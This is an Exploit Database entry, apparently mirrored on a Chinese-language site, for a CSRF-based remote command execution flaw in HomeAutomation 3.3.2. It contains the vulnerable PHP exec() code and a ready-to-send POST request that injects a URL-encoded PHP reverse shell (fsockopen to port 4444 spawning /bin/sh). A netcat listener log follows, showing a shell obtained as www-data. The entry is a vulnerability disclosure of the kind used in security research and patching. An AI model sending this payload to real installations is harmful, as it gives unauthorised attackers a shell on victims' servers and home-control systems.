HomeAutomation 3.3.2 – Remote Code Execution

• Exploit Database
• 11 阅读

• 作者： LiquidWorm
  日期： 2019-12-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47809/

• # Exploit: HomeAutomation 3.3.2 - Remote Code Execution
  # Date: 2019-12-30
  # Author: LiquidWorm
  # Vendor: Tom Rosenback and Daniel Malmgren
  # Product web page: http://karpero.mine.nu/ha/
  # Affected version: 3.3.2
  # Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
  # Advisory ID: ZSL-2019-5560
  # Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php
  
  HomeAutomation v3.3.2 CSRF Remote Command Execution (PHP Reverse Shell) PoC
  
  Vendor: Tom Rosenback and Daniel Malmgren
  Product web page: http://karpero.mine.nu/ha/
  Affected version: 3.3.2
  
  Summary: HomeAutomation is an open-source web interface and scheduling solution.
  It was initially made for use with the Telldus TellStick, but is now based on a
  plugin system and except for Tellstick it also comes with support for Crestron,
  OWFS and Z-Wave (using OpenZWave). It controls your devices (switches, dimmers,
  etc.) based on an advanced scheduling system, taking into account things like
  measurements from various sensors. With the houseplan view you can get a simple
  overview of the status of your devices at their location in your house.
  
  Desc: The application suffers from an authenticated OS command execution vulnerability
  using custom command v0.1 plugin. This can be exploited with CSRF vulnerability to
  execute arbitrary shell commands as the web user via the 'set_command_on' and 'set_command_off'
  POST parameters in '/system/systemplugins/customcommand/customcommand.plugin.php' by
  using an unsanitized PHP exec() function.
  
  ===============================================================================
  /system/systemplugins/customcommand/customcommand.plugin.php:
  -------------------------------------------------------------
  
  77: 	function toggleDevices($devicesToToggle, $statuses) {
  78: 		$output = array();
  79: 		$command = "";
  80: 
  81: 		foreach($devicesToToggle as $device)
  82: 		{
  83: 			$status = $statuses[$device["id"]];
  84: 			if($status == 0) {
  85: 				$command = $this->getSettings("command_off");
  86: 			} else {
  87: 				$command = $this->getSettings("command_on");
  88: 			}
  89: 
  90: 			if(!empty($command)) {
  91: 				$command = replaceCustomStrings($command, $device, $statuses[$device["id"]]);
  92: 
  93: 				exec($command, $output);
  94: 
  95: 				SaveLog("Command: ".$command."\nOutput:\n".parseExecOutputToString($output));
  96: 			}
  97: 		}
  98: 
  99: 		return "";
  100: 	}
  ===============================================================================
  
  Tested on: Apache/2.4.41 (centos) OpenSSL/1.0.2k-fips
   Apache/2.4.29 (Ubuntu)
   PHP/7.4.0RC4
   PHP/7.3.11
   PHP 7.2.24-0ubuntu0.18.04.1
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2019-5560
  Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5560.php
  
  
  06.11.2019
  
  --
  
  
  POST /homeautomation_v3_3_2/?page=conf-systemplugins HTTP/1.1
  
  plugin=customcommand&action=savesettings&set_command_on=php+-r+%27%24sock%3Dfsockopen%28%22127.0.0.1%22%2C4444%29%3Bexec%28%22%2Fbin%2Fsh+-i+%3C%263+%3E%263+2%3E%263%22%29%3B%27&set_command_off=&savesettings=Save
  
  -
  
  lqwrm@metalgear:/$ nc -lvp 4444
  Listening on [0.0.0.0] (family 0, port 4444)
  Connection from localhost 40724 received!
  /bin/sh: 0: can't access tty; job control turned off
  $ id
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  $ pwd
  /var/www/html/homeautomation_v3_3_2
  $ exit
  lqwrm@metalgear:/$